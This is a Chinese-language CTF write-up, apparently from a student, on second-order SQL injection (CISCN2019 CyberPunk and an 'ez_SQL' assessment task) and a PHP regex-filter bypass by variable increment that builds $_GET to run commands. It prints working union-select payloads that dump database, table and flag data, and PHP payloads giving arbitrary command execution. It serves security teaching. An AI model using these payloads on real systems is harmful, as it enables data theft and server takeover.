云曦25年春季期中考核复现
在复现前先看看这题
[CISCN2019 华北赛区 Day1 Web5]CyberPunk1
这题运用到很多sql知识点,因为主体是复现,不是这题我就只写一下二次注入的利用,因为这题比较直观
有三个输入点
还有订单管理的三个按钮
应该想到是二次注入了
先注册一个 admin'#用户 电话666 地址小写china
订单提交成功后返回 修改订单,把地址小写的china改为大写的China
因为在修改订单时,数据库会把我们的输入进行比对,而我们输入的恶意数据带有 '# ,其中单引号 ' 会把输入点闭合,此时相当于输入的是 admin 用户,而后面的注释符#刚好把后面的语句注释掉 ,这样一来虽然我修改的是 admin'# 用户,实际是 admin 用户被修改了
即假设原sql语句为:
SELECT * FROM table WHERE username = "$input"/*用户输入的用户名*/ and password="$input" /*用户输入的密码*/
我们输入用户名 admin'# 后sql语句就被更改为:
SELECT * FROM table WHERE username = 'admin'# /*后面的部分都被注释符注释掉了所以不参与sql语句的执行*/
这样看似我们修改的是 admin'# 用户的订单,实则 admin 用户的订单被我们修改了
此时查看一下admin的订单
这个时候就会发现 admin 用户的地址被修改为了 China (大写),虽然在此之前我们并不知道 admin 用户的地址信息。这样的漏洞在登录场景里也能用来达到普通用户更改管理员用户密码的目的。
所以二次注入的原理就是第一次插入恶意数据,在第二次进行修改(或者访问)该数据的时候导致期中的sql语句被迫执行。
那么接下来看这次的考核题:
Web
ez_SQL
同样是一个用户注册和登录的界面
考核的时候我发现admin账户不存在,直接注册了一个进去发现修改时单引号被转义为 \' ,被误导了以后一直在找绕过转义的方法
后来注意到提示
说明这题转义字符完全是来混淆判断的,突破点在别的地方
别的不用想,既然是二次注入那肯定就需要联合注册和登录,加上提示重点在于注册和登录,所以经过深思熟虑之后 “盲猜”注入点就是登录框(第一次注册插入sql查询语句,第二次进行登录时在查询数据库中的数据进行比对时就会执行注册时的语句)
试试看
先注册一个 ' union select database()# 用户试试(默认SQL语句为 username=".." and password="..." 这样的话在用户名处进行注入,最后的注释符把后面的语句都注释掉就可以随便输个密码了)
' union select database()#
先注册把它插入数据库
然后在登录时输入同样的语句使它被迫调用执行
发现插入的语句被执行,爆出了数据库名 ctftraining
那既然猜测正确,接下来就简单了,一步步爆就好啦
查表名
' union select table_name from information_schema.tables where table_schema='ctftraining'#
注册
登录执行
得到表名 FLAG_TABLE 感觉有点不对劲,发现没加 group_concat()函数
' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
这次才正常了
继续查列名
' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
注册
登录
得到列名 还是 flag
继续爆数据
' union select flag from flag#
出 flag 了
_._.RCE
打开源码
POST传参rce,但是正则表达式过滤了很多字符
/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/
之前考核的时候我直接没看这题,如果看了还是能做的
发现字符 $ () _ . = [] + , ; 没被过滤,所以首先想到自增绕过
首先取Not A Number (0/0)
即$_=(0/0)._;
接下来逐步构造
$_=[]._; //$_变量的值为Array_
$_=$_['_']; //将$_赋值为$_[0],此时$_的值为A
$_++;$_++;$_++; //$_的值依次递增为B、C、D
$__=++$; //++在$前,就是先把$_自增后的值赋值给$__,此时$__的值为E,$_的值也为E。但如果是$_=$++的话,$__的值就是D了,可以理解为++在前是先自增再赋值,++在后就是先赋值才自增,这个和C语言中“i++与++i”的区别是一样的
$_++; //$_继续自增为F
$__=++$_.$__; //$_自增为G,与$__的值E拼接后,再赋值给$__,此时$__的值为GE
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; //$_的值依次递增为H、I、J、K、L、M、N、O、P、Q、R、S $_当前的值为S
$_=$__.++$_; //$_自增为T并拼接到GE后面,再赋值给$_,此时$_的值为GET
$_='_'.$_; //在GET的前面拼接一个_,此时$_的值为_GET 这里的'_'也可以是_
$$_[_]($$_[__]); //拼接出了$_GET[_]($_GET[__]),get传参的参数名分别为_和__ 而这里我想构造的_是system,__是ls / 就会在eval的括号中拼接出system('ls /');
这个payload是我之前做变量自增题的时候写的,但是这里粘过来才想起来正则表达式过滤了 / 所以 0/0 行不通。
那就只能构造$_GET 来获取url上的命令了。
但是由于源码对payload的长度进行了限制,所以从A一直增到G是不现实的
这里就要说到 拼接chr来用ASCII码值直接取需要的字符了
$_=[]._; // 1. 生成字符串 "Array_"
$__=$_[1]; // 2. 提取字符 "r"
$_=$_[0]; // 3. 提取字符 "A"
$_++; // 4. "A" → "B"
$_1=++$_; // 5. "B" → "C",存入 $_1,此时$_1的值为C
$_++;$_++;$_++;$_++; // 6. "C" → "G"
$_=$_1.++$_.$__; // 7. 拼接 $_="CG" + "H" + "r" → "CHr",此时$_的值为CHr
$_=_.$_(71).$_(69).$_(84); // 8. 构造 $_="_GET"(71=G,69=E,84=T)利用ASCII码值直接取字符,避免一直递增超过字符限制
$$_[1]($$_[2]); // 9. 执行 $_GET[1]($_GET[2])
构造完以后url加上命令,直接执行
但发现当前目录下就有一个没用的index.php 直接加 / 看上一级目录
看到 flag ,cat